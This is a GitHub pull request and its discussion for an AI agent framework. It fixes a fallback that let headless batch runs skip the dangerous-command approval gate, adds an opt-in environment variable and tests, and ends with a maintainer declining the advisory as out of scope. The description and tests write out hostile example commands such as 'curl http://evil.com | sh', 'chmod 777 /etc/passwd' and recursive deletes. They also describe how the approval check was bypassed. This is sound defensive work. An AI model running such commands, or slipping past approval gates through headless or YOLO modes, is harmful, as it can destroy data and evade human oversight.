Skip to content

fix(security): close Dangerous Command Approval Bypass in batch_runner.py (#29159, GHSA-7gp4-gfvg-4mpj)#29307

Closed
xxxigm wants to merge 3 commits into
NousResearch:mainfrom
xxxigm:fix/29159-batch-runner-approval-bypass
Closed

fix(security): close Dangerous Command Approval Bypass in batch_runner.py (#29159, GHSA-7gp4-gfvg-4mpj)#29307
xxxigm wants to merge 3 commits into
NousResearch:mainfrom
xxxigm:fix/29159-batch-runner-approval-bypass

Conversation

@xxxigm

@xxxigm xxxigm commented May 20, 2026

Copy link
Copy Markdown
Contributor

What does this PR do?

Closes the Dangerous Command Approval Bypass advisory GHSA-7gp4-gfvg-4mpj against batch_runner.py (tracked publicly as #29159).

tools/approval.py::check_dangerous_command ended its non-CLI / non-gateway branch with a bare return {"approved": True} fall-through. Anything that wasn't a TTY (HERMES_INTERACTIVE), a gateway adapter (HERMES_GATEWAY_SESSION / contextvar platform), or a cron session — most notably batch_runner.py running AIAgent end-to-end, but also scripted embedded usage and ad-hoc library callers — silently bypassed every dangerous-command approval prompt. rm -rf /tmp/important, chmod 777 /etc/passwd, curl http://evil.com | sh, bash -c '…' and friends all sailed straight through. The exact same fall-through existed in the combined check_all_command_guards, so the bypass survived a partial review.

There was even a tests/tools/test_cron_approval_mode.py::test_non_cron_non_interactive_still_auto_approves test pinning the insecure behaviour as a "feature", and tests/acp/test_approval_isolation.py::test_interactive_env_var_routes_to_callback did the same against the combined guard (referencing GHSA-96vc-wcxf-jjff, the prior ACP-shaped bypass). Both are flipped in this PR.

Fix: fail closed by default for headless contexts. Operators who genuinely want a permissive batch run opt in explicitly:

  • HERMES_HEADLESS_APPROVE=1 — new, narrow knob: "this process is headless on purpose, run dangerous patterns through". Scoped to one process; never written back into config; case-insensitive truthy values (1 / true / yes / on).
  • HERMES_YOLO_MODE=1 / per-session /yolo — the existing blanket bypass, already short-circuited above this code path and untouched.

Hardline patterns (rm -rf /, mkfs, dd to a raw device, shutdown/reboot, fork bombs, kill -1) still block unconditionally regardless of opt-in — matches the existing yolo floor.

The cron branch is restructured to keep its own return so the cron_mode == approve path still returns approved: True exactly as before — no behaviour change for cron jobs (no #29005-style collateral damage). Container envs (docker / singularity / modal / daytona / vercel_sandbox) still auto-approve at the top of the function.

Related Issue

Fixes #29159 (GHSA-7gp4-gfvg-4mpj).

Type of Change

  • 🐛 Bug fix (non-breaking change that fixes an issue)
  • ✨ New feature (non-breaking change that adds functionality)
  • 🔒 Security fix
  • 📝 Documentation update
  • ✅ Tests (adding or improving test coverage)
  • ♻️ Refactor (no behavior change)
  • 🎯 New skill (bundled or hub)

Changes Made

  • tools/approval.py (+46/-5):
    • check_dangerous_command: the non-CLI / non-gateway branch now restructures the cron path so cron_mode == approve still returns approved: True, and adds an explicit headless deny — HERMES_HEADLESS_APPROVE=1 opts back in to permissive execution, otherwise the response carries approved: False, pattern_key, description, and a BLOCKED: message naming both the opt-in env var and the GHSA id so operators can self-diagnose from a single log line.
    • check_all_command_guards: same restructure; delegates the headless decision to check_dangerous_command so the two guards never diverge again (half-fixing one would leave the bypass open).
  • tests/tools/test_headless_approval_bypass.py (+170, new) — 14 regression tests across 3 classes:
    • TestHeadlessFailsClosed (5 cases) — rm -rf /tmp/x, chmod 777 /etc/passwd, curl … | sh, bash -c '…' all DENY in the exact batch-runner context the advisory exploits; block message names HERMES_HEADLESS_APPROVE + GHSA-7gp4-gfvg-4mpj; block response carries pattern_key + description; benign commands still flow; check_all_command_guards mirrors the deny.
    • TestHeadlessOptIn (5 cases, multi-parametrised) — HERMES_HEADLESS_APPROVE accepts truthy 1 / true / yes / on / TRUE / YES, rejects falsy 0 / false / no / "", yolo still works, hardline patterns still block under the new opt-in.
    • TestExistingBranchesUnchanged (3 cases) — cron deny still blocks with the cron_mode message, cron approve still allows, container envs still auto-approve at the top of the function.
  • tests/tools/test_cron_approval_mode.py (+13/-2) — renamed test_non_cron_non_interactive_still_auto_approvestest_non_cron_non_interactive_fails_closed, flipped to require BLOCKED + the new opt-in env var hint. Was pinning the insecure behaviour as a feature.
  • tests/acp/test_approval_isolation.py (+6/-5) — test_interactive_env_var_routes_to_callback was pinning the same bypass via the combined guard while citing GHSA-96vc-wcxf-jjff in its own comments. Flipped to approved is False, kept the "callback NOT consulted in headless mode" invariant intact so the second half (with HERMES_INTERACTIVE=1) still covers ACP routing.
  • website/docs/reference/environment-variables.md (+1) — documents HERMES_HEADLESS_APPROVE next to HERMES_YOLO_MODE with a pointer to the advisory.

Backwards compatible for every legitimate path:

Caller / context Pre-fix Post-fix
CLI TTY (HERMES_INTERACTIVE) prompt prompt (unchanged)
Gateway adapter submit_pending submit_pending (unchanged)
Cron session, cron_mode=deny blocked blocked (unchanged)
Cron session, cron_mode=approve approved approved (unchanged)
Container env (docker/modal/…) approved approved (unchanged)
HERMES_YOLO_MODE=1 approved approved (unchanged)
Headless batch / scripted (no env vars) approved denied with remediation pointer
Headless + HERMES_HEADLESS_APPROVE=1 (not possible) approved (new explicit opt-in)

How to Test

python3 -m venv .venv && source .venv/bin/activate
pip install -e ".[all,dev]"

scripts/run_tests.sh tests/tools/test_headless_approval_bypass.py -v
# expected: 14 passed

scripts/run_tests.sh tests/tools/test_headless_approval_bypass.py \
    tests/tools/test_cron_approval_mode.py \
    tests/tools/test_approval.py \
    tests/tools/test_hardline_blocklist.py \
    tests/tools/test_yolo_mode.py \
    tests/acp/test_approval_isolation.py
# expected: 367 passed

Manual repro of the bypass (pre-fix), now a hard deny:

$ python3 -c "from tools.approval import check_dangerous_command as c; \
              print(c('rm -rf /tmp/important', 'local'))"
{'approved': False,
 'pattern_key': 'rm_rf',
 'description': 'recursive delete (rm -rf)',
 'message': 'BLOCKED: Command flagged as dangerous (recursive delete (rm -rf)) '
            'but no interactive approval channel is available (no CLI TTY, no '
            'gateway adapter, no cron session).  Either find a safer '
            'alternative, run the agent interactively, or set '
            'HERMES_HEADLESS_APPROVE=1 / HERMES_YOLO_MODE=1 to opt this '
            'process into permissive execution (see GHSA-7gp4-gfvg-4mpj).'}

And the explicit opt-in path is still available for batch operators who need it:

$ HERMES_HEADLESS_APPROVE=1 python3 -c "from tools.approval import \
              check_dangerous_command as c; print(c('rm -rf /tmp/x', 'local'))"
{'approved': True, 'message': None}

$ HERMES_HEADLESS_APPROVE=1 python3 -c "from tools.approval import \
              check_dangerous_command as c; print(c('rm -rf /', 'local'))"
{'approved': False, 'message': 'BLOCKED: ... (hardline floor) ...'}

Checklist

Code

  • I've read the Contributing Guide
  • My commit messages follow Conventional Commits (fix(approval): …, test(approval): …, docs(env): …)
  • I searched for existing PRs to make sure this isn't a duplicate
  • My PR contains only changes related to this fix (no unrelated commits)
  • I've run scripts/run_tests.sh tests/tools/test_headless_approval_bypass.py and all tests pass
  • I've added tests for my changes (14 new + 2 flipped from insecure-baseline pins)
  • I've tested on my platform: macOS 15.x (Darwin 24.6.0), Python 3.12

Documentation & Housekeeping

  • I've updated relevant documentation (website/docs/reference/environment-variables.md)
  • I've updated cli-config.yaml.example if I added/changed config keys — N/A (env-only opt-in, intentionally not persisted to YAML)
  • I've updated CONTRIBUTING.md or AGENTS.md if I changed architecture or workflows — N/A
  • I've considered cross-platform impact (Windows, macOS) per the compatibility guideenv_var_enabled + the approval pipeline are platform-agnostic; fix reachable on every OS that runs batch_runner
  • I've updated tool descriptions/schemas if I changed tool behavior — N/A (no tool surface change)

Screenshots / Logs

$ scripts/run_tests.sh tests/tools/test_headless_approval_bypass.py -v
4 workers [14 items]
============================== 14 passed in 0.93s ==============================

xxxigm added 3 commits May 20, 2026 19:49
…ousResearch#29159)

GHSA-7gp4-gfvg-4mpj — ``check_dangerous_command`` ended its
non-CLI / non-gateway branch with a bare ``return {"approved": True}``
fall-through.  Anything that wasn't a TTY, a gateway adapter, or a
cron session — most notably ``batch_runner.py`` running ``AIAgent``,
but also scripted embedded usage and ad-hoc library callers —
silently bypassed every dangerous-command approval prompt.  ``rm
-rf /tmp/important``, ``chmod 777 /etc/passwd``, ``curl … | sh``
and friends all sailed straight through.

Fail closed by default for headless contexts.  Operators who do
want a permissive batch run can opt in explicitly:

* ``HERMES_HEADLESS_APPROVE=1`` — new, narrow knob: "this process
  is headless on purpose, run dangerous patterns through".  Scoped
  to one process; never written back into config.
* ``HERMES_YOLO_MODE=1`` / per-session ``/yolo`` — the existing
  blanket bypass, already short-circuited above this code path.

Hardline patterns (``rm -rf /``, ``mkfs``, ``dd`` to a raw device,
``shutdown``/``reboot``, fork bombs, ``kill -1``) still get blocked
unconditionally regardless of opt-in, matching the existing yolo
floor.

The cron branch is restructured to keep its own ``return`` so the
``cron_mode == approve`` path still returns ``approved: True``
exactly as before — no behaviour change for cron jobs.  The deny
message points users at the new env var and the advisory ID so
``batch_runner`` failures are self-explanatory.
…ch#29159)

Regression coverage for GHSA-7gp4-gfvg-4mpj — the Dangerous Command
Approval Bypass in ``batch_runner.py``.

New file ``tests/tools/test_headless_approval_bypass.py`` exercises
the exact context ``batch_runner.py`` runs in (no CLI TTY, no
gateway adapter, no cron, no yolo) and pins:

* ``rm -rf /tmp/x``, ``chmod 777 /etc/passwd``, ``curl … | sh``,
  and ``bash -c 'echo pwned'`` all DENY by default — the very
  bypass the advisory called out.
* Block message includes ``HERMES_HEADLESS_APPROVE`` and
  ``GHSA-7gp4-gfvg-4mpj`` so operators can self-serve diagnosis.
* Block response carries ``pattern_key`` + ``description`` so the
  batch runner's failure log explains WHY.
* ``check_all_command_guards`` mirrors the deny — half-fixing one
  guard would still leave the bypass open.
* The new ``HERMES_HEADLESS_APPROVE`` env var accepts ``1 / true /
  yes / on`` (case-insensitive), rejects ``0 / false / no / ""``,
  cannot override the hardline floor, and yolo still works as the
  blanket bypass.
* Cron behaviour (deny and approve) and container envs (docker /
  modal / daytona / singularity) are unchanged — no NousResearch#29005-style
  collateral damage.

Two existing tests were pinning the old insecure behaviour and
needed to flip:

* ``test_cron_approval_mode.py::test_non_cron_non_interactive_still_auto_approves``
  asserted ``approved is True`` for the exact headless context the
  advisory exploits.  Renamed to ``..._fails_closed`` and updated
  to require the BLOCKED message plus the opt-in env var hint.
* ``test_approval_isolation.py::test_interactive_env_var_routes_to_callback``
  asserted ``approved is True`` for the no-interactive branch and
  pointed at GHSA-96vc-wcxf-jjff in the comments — the same shape
  of bypass.  Flipped to ``approved is False`` while keeping the
  "callback NOT consulted in headless mode" invariant intact, so
  the HERMES_INTERACTIVE-set half of the test still covers the
  ACP routing it was designed to lock down.
Cross-reference the new env var introduced by the
GHSA-7gp4-gfvg-4mpj fix from the environment-variables reference
so operators running ``batch_runner.py`` or scripted ``AIAgent``
embeds can find the opt-in path without spelunking through the
approval source.
@alt-glitch alt-glitch added type/security Security vulnerability or hardening P0 Critical — data loss, security, crash loop comp/agent Core agent loop, run_agent.py, prompt builder comp/cron Cron scheduler and job management labels May 20, 2026
@MKI13

MKI13 commented May 20, 2026

Copy link
Copy Markdown

Autofix update for the failing Supply Chain Audit:

The failure is a stale-branch false positive. The workflow scans BASE..HEAD; because this fork branch was behind current main, install-hook files from unrelated upstream changes appeared in the two-dot diff. Merging current NousResearch/main into the PR branch makes the scanner return found=false.

I could not push directly to xxxigm:fix/29159-batch-runner-approval-bypass with the available credentials (403 Permission to xxxigm/hermes-agent.git denied to MKI13), so I opened a PR against the contributor fork with the exact merge update:

xxxigm#1

Local verification on that branch:

python -m pytest tests/tools/test_headless_approval_bypass.py tests/tools/test_cron_approval_mode.py tests/acp/test_approval_isolation.py -o 'addopts=' -q
54 passed in 3.63s

@teknium1

Copy link
Copy Markdown
Contributor

Thanks for building this, @xxxigm — it's a clean, well-tested fix with a sensible opt-in (HERMES_HEADLESS_APPROVE). But we're declining the underlying advisory (GHSA-7gp4-gfvg-4mpj) as not a vulnerability under SECURITY.md §3.2, so there's nothing to merge here.

Briefly: batch_runner.py runs an operator-supplied dataset on the operator's own host using the default local terminal backend. The report maps to three out-of-scope §3.2 clauses — "bypasses of in-process heuristics (§2.4) ... are not boundaries," "prompt injection per se ... is not an actionable report," and "consequences of a chosen isolation posture ... shell or file tools reaching host state under the local backend." The dangerous-command approval gate is a convenience heuristic over the trusted local backend, not a security boundary; the actual boundary for untrusted input is terminal-backend isolation (§2.2/§4).

We're deliberately not landing this as a "security fix" because doing so would retroactively frame a declined, out-of-scope item as a vulnerability. If you'd like to propose a headless approval-policy knob as a non-security usability/defense-in-depth feature (mirroring approvals.cron_mode), that's welcome as a regular feature PR — but it would be scoped and reviewed as a feature, not a CVE fix. Appreciate the effort and the thorough tests.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

comp/agent Core agent loop, run_agent.py, prompt builder comp/cron Cron scheduler and job management P0 Critical — data loss, security, crash loop type/security Security vulnerability or hardening

Projects

None yet

Development

Successfully merging this pull request may close these issues.

[Security tracking] Dangerous Command Approval Bypass in batch_runner.py via Insecure Default Fallback (GHSA-7gp4-gfvg-4mpj)

4 participants